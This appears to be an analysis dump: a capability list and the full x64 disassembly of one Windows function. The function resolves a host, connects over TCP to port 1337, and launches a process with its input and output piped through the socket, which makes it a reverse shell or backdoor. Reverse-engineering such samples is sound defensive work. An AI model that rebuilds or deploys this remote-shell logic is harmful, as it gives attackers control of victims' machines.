Function at 0x140001ad0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create tcp socket
Create thread
Create two anonymous pipes
Initialize winsock library
Resolve dns
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor esi, esi
mov dword [rsp + 0x58], 0x18
mov dword [rsp + 0x68], 1
mov qword [rsp + 0x60], rsi
xor r9d, r9d
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x78]
lea rcx, [0x1400060c0]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x80], 0x68
mov dword [rbp - 0x44], 0x101
mov word [rbp - 0x40], si
mov rax, qword [rsp + 0x70]
mov qword [rbp - 0x30], rax
mov rax, qword [rsp + 0x78]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
lea rax, [0x140004418]
mov qword [rbp - 0x68], rax
mov ecx, 0x202
lea rdx, [rbp + 0x60]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001f48
mov edx, 1
mov edi, 2
mov r8d, 6
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x1400060b8], rax
lea rcx, [0x140006760]
cmp qword [0x140006778], 0xf
cmova rcx, qword [0x140006760]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rbx, rax
mov ecx, 0x539
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x32], ax
mov word [rbp + 0x30], di
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rbp + 0x34], eax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x30]
mov rcx, qword [0x1400060b8]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x140001f48
mov byte [0x140006759], 1
lea rcx, [rbp + 0x10]
call fcn.140001630
cmp qword [rax + 0x18], 0xf
jbe 0x140001c4a
mov rax, qword [rax]
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x58]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140001cc5
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cc0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002440
mov ecx, 8
call fcn.140002448
lea rcx, [0x1400017d0]
mov qword [rax], rcx
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400023e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x140001f39
cmp dword [rbp + 0x38], 0
je 0x140001f2d
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140001f2d
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], rsi
mov dword [rbp + 0x40], 0xffffffff
cmp byte [0x140006759], al
je 0x140001eec
lea r14, [0x140000000]
nop word [rax + rax]
lea rdx, [rbp + 0x30]
call fcn.1400014e0
test al, al
je case.0x140001d8c.3
mov eax, dword [rbp + 0x40]
inc eax
cmp eax, 5
ja case.default.0x140001d8c
cdqe
mov ecx, dword [r14 + rax*4 + 0x1f7c]
add rcx, r14
jmp rcx
mov rdi, qword [rsp + 0x50]
mov r8, qword [rbp + 0x38]
test r8, r8
jne 0x140001dc0
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 8]
mov r8d, 1
lea rdx, [0x14000441c]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.default.0x140001d8c
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
mov rbx, qword [rbp + 0x30]
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.1400022c0
nop
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x28]
cmp rcx, rdx
jae 0x140001e0a
lea rax, [rcx + 1]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x10]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x10]
mov word [rax + rcx], 0xa
jmp 0x140001e16
mov r9b, 0xa
lea rcx, [rbp + 0x10]
call fcn.140002150
test rbx, rbx
je 0x140001e23
mov rcx, rbx
call fcn.140002440
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 8]
mov r8d, dword [rbp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe case.default.0x140001d8c
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001ed7
call fcn.140002440
jmp case.default.0x140001d8c
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
mov dword [rbp + 0x20], esi
lea rdx, [rbp + 0x10]
call fcn.140001380
jmp case.default.0x140001d8c
mov byte [0x140006758], 1
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x50]
mov r8d, 1
lea rdx, [0x14000441c]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.default.0x140001d8c
mov byte [0x140006758], 0
cmp byte [0x140006759], 0
jne 0x140001d60
jmp 0x140001eec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov byte [0x140006758], 0
mov byte [0x140006759], 0
xor edx, edx
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x140001f16
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Thrd_yield]
xor edx, edx
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x140001f00
mov rcx, qword [0x1400060b8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x140001f4d
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x38], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140002420
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret